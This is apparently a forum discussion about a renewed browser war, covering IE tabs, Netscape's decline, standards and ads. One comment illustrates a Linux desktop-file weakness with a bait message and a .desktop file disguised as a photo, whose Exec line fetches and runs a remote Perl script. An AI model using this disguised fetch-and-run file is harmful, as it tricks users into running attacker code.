Browser Wars 2: Electric Boogaloo

Tomas wrote to mention an article up on XYZ Computing discussing what is shaping up to be another round of the Browser Wars. From the article: "To anyone that has been following the Window's browser news lately, it is apparent that the stage is set for another browser war. Last experienced during the nineties, companies are fighting over which program consumers use to view the internet. For the average computer user this is a very good thing as it should drastically improve browser performance in a short period of time."

Comments

what do you mean MS doesn't do tabs?

[yagu]

From the fine article:

The feature which everyone is talking about lately is the addition of tabbed browsing to IE. While all other popular browsers have gone the tabbed route IE has resisted, ostensibly because other Microsoft programs do not use this. The change will be made though it is less important that in the past because Windows XP's taskbar is capable of grouping similar buttons, which effectively tabs a number of IE windows.

First, Windows products do seem to use TABS.... Right-click on "My Computer" (if you've actually left it named that!), select PROPERTIES. Not only does Microsoft use TABS to manage some of the most important aspects of computers, they've done it poorly! What the....???? When you click on an upper row tab, the upper row of TABS becomes the bottom row?!? Wow! Yes, Microsoft products not only support and/or use TABS, they were the first to make me hate tabbed interfaces.

Fortunately Mozilla and Firefox came along and convinced me tabbed interfaces could be done nicely and ergonomicly. I'm back in the tabbed fold... sigh.

Second, the claim that adding tabbed browsing to IE is less important because the Taskbar can group similar activities, therefor it already is like tabbed browsing may illustrate more than I'm able how Microsoft doesn't get it. The "like apps" Taskbar browsing has been the source of more headaches for me... I've tried using it, found it obtuse and annoying -- that's okay, just my preference and opinion. But, once again, it's been frustrating in a support role because you (rhetorically) end up trouble-shooting for users an interface poorly thought out and confusing to users. I find Microsoft's "easy to use" ideas sometimes baffling.... (how many times have you over the phone tried to walk someone through a WORD problem only to stumble when they can't find the menu option, and it's because Microsoft has unilaterally decided "hiding" little-used features under menu chevrons).

Other than that, back to the main topic, hopefully more energetic competition in the browser world will mean better and higher quality browsers, but if history serves, it will be a minor spurt in advancement until Microsoft has re-landed their stranglehold on that segment of the market.... and I'm guessing that won't take very long.

Re:what do you mean MS doesn't do tabs?

[diegocgteleline.es]

but if history serves, it will be a minor spurt in advancement until Microsoft has re-landed their stranglehold on that segment of the market.... and I'm guessing that won't take very long.

Actually, the reason why IE has 90% of market share is not that Microsoft put it by default in windows. It helped, indeed, but there're proofs that netscape pretty much fucked it up. Basically, Netscape let them win without opposing resistance

Here's an interview from Arstechnica to Scott Collins, a programmer who was working at netscape back in the netscape 4.0 days:


Ars: You mention mistakes made by Microsoft. What do you feel are mistakes that Mozilla has made in the past?

There was a fundamental mistake made by Netscape management, twice, which cost us a release at the most inopportune time. I think we can attribute a great deal of our market share loss to this mistake that was pretty much based completely on lies from one executive, who has since left the company (and left very rich) and who was an impediment to everything that we did. He was an awful person, and it is completely on him that we missed a release. We had a "Netscape 5" that was within weeks of being ready to go, and this person said that we needed to ship something based on Gecko within 6 months instead. Every single engineer in the company told management "No, it will be two years at least before we ship something based on Gecko." Management agreed with the engineers in order to get 5.0 out.a

Three months later they came back and said "We've changed our mind, this other executive has convinced us, except now instead of six months, you need to do it in three months." Well, you can't put 50 pounds of [crap] in a ten pound bag, it took two years. And we didn't get out a 5.0, and that cost of us everything, it was the biggest mistake ever, and I put it all on the feet of this one individual, whom I will not name.

Re:what do you mean MS doesn't do tabs?

[diegocgteleline.es]

This option was largely responsible for the success of email viruses that came as attachments named "big_boobs.jpg.exe"

IMO the problem there was the .exe extension, not that they hide it. No matter what you do, a .exe file is executable. Compare it to the Unix's permission model. You could download a executable from internet, but it wouldn't work because it has not the +x bit set.

And don't think you're free of the Windows braindamage in linux/BSD. Freedesktop managed to fuck it again, with the "desktop specification file" (Warning: don't try to discuss this with the freedesktop guys. I already tried). Noticed how nautilus and konqueror hide the extension in .desktop files? Noticed how inside a .desktop file you have a "Run=" field where you can put "Run=wget www.foo.com/worm.pl; perl worm.pl"? Noticed in fact how you can hide the whole file name by adding a "Name=" field?

In fact, look at the following valid worm:

I'm called Mary, and I want to know what you think about my new bikini
To see me, save the attached file in your desktop and double click it. Kisses!

attached file: save.to.your.desktop
Name=My Bikini zoomed.jpg
Icon=fakeiconpresentonthesystem.png
Exec=wget http://www.foo.com/evilperlscript; perl evilperlscript

We just need more marketshare to see this work.

Performance?

[slavemowgli]

Maybe it's just me, but I think browser performance isn't much of a problem any more these days. Standards compliance, on the other hand, is, and I hope that this is the area where a new browser "war" might actually help out.

We all know that IE's standards compliance leaves a lot to be desired, but the Mozilla crew's product leaves a number of things to be desired, too. The Acid2 test may be one example, but there's also other things like MNG support and CSS-generated content where Gecko is still lacking, so hopefully, the people in charge will realize that if they want to replace IE as the standard browser, they shouldn't repeat the same mistakes of not caring about the finer details of the standards.

What about Opera?

[Will2k_is_here]

I don't even like Opera but I'm very surprised Opera 8 never got mentioned in the article. NS8 over Opera?! Sub-par... sub-par...

Most people don't.

[DogDude]

That's great for you, but you're not in the majority. The browser wars will ocne again be determined by populartiy, which is determined by prettiness, features, etc. Most people don't really care about security, and only developers (and other related uber-geeks) care about standards compliance.

BROWSER WARS

[mtrisk]

BROWSER WARS
EPISODE IV: A NEW HOPE

It is a period of civil war. Open Source spaceships, striking from a hidden base, have won their first victory against the evil Microsoft Empire.

During the battle, Mozilla spies managed to steal secret plans to the Empire's ultimate weapon, the INTERNET EXPLORER 7, a tabbed browser with enough market share to destroy the entire open source movement.

Pursued by Microsoft's sinister agents, BEN GOODGER races races home aboard his starship, custodian of the stolen code that can save his project and restore freedom (both libre and beer) to the internet...

Article is a click troll

[Animats]

Ads to the left. Ads to the right. Ads at the top. Ads in the middle. One paragraph of content per page, then more ads.

Dumb article, too.

The next big play in the "browser wars" should be more aggressive ad blocking.